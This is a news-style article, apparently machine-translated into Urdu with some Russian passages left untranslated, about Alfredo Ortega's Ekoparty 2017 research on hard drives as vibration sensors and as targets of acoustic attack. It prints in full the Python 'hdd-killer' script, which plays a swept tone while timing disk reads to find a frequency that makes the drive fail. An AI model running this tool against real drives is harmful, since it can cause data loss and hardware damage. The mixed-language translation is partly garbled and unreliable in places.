بیونس آئرس میں ایکوپارٹی 2017 کمپیوٹر سیکیورٹی کانفرنس میں، ارجنٹائن کے ہیکر الفریڈو اورٹیگا نے ایک بہت ہی دلچسپ پیشرفت دکھائی - مائیکروفون استعمال کیے بغیر احاطے کی خفیہ تار ٹیپ کرنے کا ایک نظام۔ آواز براہ راست ہارڈ ڈرائیو پر ریکارڈ کیا گیا۔!

HDD بنیادی طور پر زیادہ شدت والی کم فریکوئنسی آوازیں، قدموں کے قدم اور دیگر کمپن کو اٹھاتا ہے۔ انسانی تقریر کو ابھی تک تسلیم نہیں کیا جا سکتا، اگرچہ سائنسدان اس سمت میں تحقیق کر رہے ہیں۔ (کم تعدد کمپن کے ذریعہ تقریر کی شناخت، جو ریکارڈ کی جاتی ہے، مثال کے طور پر، گائروسکوپ یا HDD سے)۔

آواز ہوا کا کمپن ہے یا کسی اور ذریعہ۔ ایک شخص انہیں کان کے پردے کے ذریعے محسوس کرتا ہے، جو کان کے اندرونی حصے تک کمپن منتقل کرتا ہے۔ مائیکروفون کو تقریباً ایک کان کی طرح ڈیزائن کیا گیا ہے - یہاں بھی، کمپن ایک پتلی جھلی کے ذریعے ریکارڈ کی جاتی ہے، جو برقی تحریک کو جوش دیتی ہے۔ ہارڈ ڈرائیو، یقینا، ارد گرد کی ہوا میں اتار چڑھاو کی وجہ سے مائکروسکوپک کمپن کے تابع بھی ہے۔ یہ HDDs کی تکنیکی خصوصیات سے بھی جانا جاتا ہے: مینوفیکچررز عام طور پر زیادہ سے زیادہ قابل اجازت کمپن لیول کی نشاندہی کرتے ہیں، اور ہارڈ ڈرائیو خود اسے ربڑ یا دیگر موصل مواد سے بنے کمپن پروف کنٹینر میں رکھنے کی کوشش کرتی ہے۔ اس سے یہ نتیجہ اخذ کرنا آسان ہے کہ ایچ ڈی ڈی کے ذریعے آوازیں ریکارڈ کی جا سکتی ہیں۔ بس یہ معلوم کرنا باقی ہے کہ کیسے۔

الفریڈو اورٹیگا نے سائیڈ چینل حملے کا ایک منفرد ورژن تجویز کیا، یعنی ٹائم اٹیک۔ یہ حملہ اس مفروضے پر مبنی ہے کہ دیے گئے ان پٹ ڈیٹا پر منحصر ہے کہ ڈیوائس پر مختلف اوقات میں مختلف آپریشن کیے جاتے ہیں۔ اس صورت میں، "ان پٹ ڈیٹا" ریڈنگ ہیڈ اور ایچ ڈی ڈی پلیٹر کی وائبریشنز ہیں، جو ماحول کی کمپن یعنی آواز کے ساتھ تعلق رکھتی ہیں۔ اس طرح، حسابی وقت کی پیمائش کرکے اور اعداد و شمار کا شماریاتی تجزیہ کرکے، سر/پلیٹر کی کمپن اور اس وجہ سے میڈیم کی کمپن کی پیمائش کی جاسکتی ہے۔ ڈیٹا پڑھنے میں جتنی دیر ہوگی، HDD کمپن اتنی ہی مضبوط ہوگی اور اس لیے آواز اتنی ہی تیز ہوگی۔

ہارڈ ڈرائیو کمپن کی پیمائش کیسے کریں؟ بہت آسان: صرف سسٹم کال چلائیں۔ read () - اور اسے مکمل ہونے میں لگنے والے وقت کو ریکارڈ کریں۔ جدید آپریٹنگ سسٹم آپ کو نینو سیکنڈ کی درستگی کے ساتھ سسٹم کالز کا وقت پڑھنے کی اجازت دیتے ہیں۔

کسی شعبے سے معلومات کو پڑھنے کی رفتار کا انحصار سر اور پلیٹر کی پوزیشن پر ہوتا ہے، جو HDD کیس کی کمپن سے منسلک ہوتا ہے۔ بس۔

شماریاتی تجزیہ ایک سادہ Kscope افادیت کا استعمال کرتے ہوئے کیا جاتا ہے۔ جیسا کہ وہ کہتے ہیں، ہر چیز آسان ہے.

Kscope یوٹیلیٹی (stat() syscall)

سسٹم کال کے عمل کے اوقات میں چھوٹے فرق کو دیکھنے کے لیے Kscope ایک چھوٹی افادیت ہے۔ ذریعہGitHub پر شائع ہوا۔.

ایک الگ ذخیرہ میں ایچ ڈی ڈی ٹائم ہارڈ ڈرائیو پر ٹائم اٹیک کے لیے ترتیب کردہ یوٹیلیٹی کا ایک ورژن ہے، یعنی سسٹم کال کا تجزیہ کرنے کے لیے ترتیب دیا گیا ہے۔ read ().

HDD کا استعمال کرتے ہوئے آواز کی ریکارڈنگ کا مظاہرہ، Kscope یوٹیلیٹی کا آپریشن

بلاشبہ، تقریر کو اس طرح نہیں سمجھا جا سکتا، لیکن ایچ ڈی ڈی ایک وائبریشن سینسر کے طور پر کافی موزوں ہے۔ مثال کے طور پر، اگر کوئی شخص سخت جوتے پہنے یا ننگے پاؤں کمپیوٹر کے ساتھ کمرے میں داخل ہوا تو آپ رجسٹر کر سکتے ہیں (شاید، اگر حملہ آور نے نرم جوتے پہن رکھے ہوں یا فرش پر موٹا قالین بچھا ہو، تو HDD کمپن رجسٹر نہیں کر سکے گا) یہ چیک کرنے کے قابل ہے)۔ کمپیوٹر ٹوٹے ہوئے شیشے یا دیگر واقعات کو مضبوط آواز کی شدت کے ساتھ رجسٹر کرنے کے قابل ہے۔ یعنی، ہارڈ ڈرائیو ایک قسم کے غیر مجاز مداخلت کا پتہ لگانے کے نظام کے طور پر کام کر سکتی ہے۔

ایچ ڈی ڈی قاتل

Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

کور Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из ویڈیو کلپ HDD قاتل کے مظاہرے کے ساتھ

یہ دلچسپ ہے کہ HDDs پر اس طرح کے "حملے" کبھی کبھی روزمرہ کی زندگی میں حادثاتی طور پر ہوتے ہیں۔ مثال کے طور پر، ستمبر 2016 میں، ING بینک ڈیٹا سینٹر کو فائر ڈرل کے بعد 10 گھنٹے کے لیے آپریشن معطل کرنے پر مجبور کیا گیا۔ درجنوں ہارڈ ڈرائیوز ناکام ہو چکی ہیں۔ ہائی پریشر میں سلنڈروں سے خارج ہونے والی غیر فعال گیس کی تیز آواز کی وجہ سے۔ آواز بہت تیز تھی (130 dB سے زیادہ)، لیکن آپ ہارڈ ڈرائیوز پر چیخ بھی نہیں سکتے - اس سے HDD تک رسائی میں تاخیر بڑھ جاتی ہے۔

ڈیٹا سینٹر میں ہارڈ ڈرائیوز پر انسانی چیخ و پکار کا مظاہرہ۔ تاخیر کی پیمائش

گونجتی ہوئی آواز پیدا کرنے کے لیے، الفریڈو اورٹیگا نے ایک ازگر کا اسکرپٹ لکھا جسے کہا جاتا ہے۔ ایچ ڈی ڈی قاتل (ویڈیو مظاہرہ).

HDD قاتل اسکرپٹ یہ کافی چھوٹا ہے، لہذا آپ اسے مکمل طور پر یہاں شائع کر سکتے ہیں۔

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

ماخذ: www.habr.com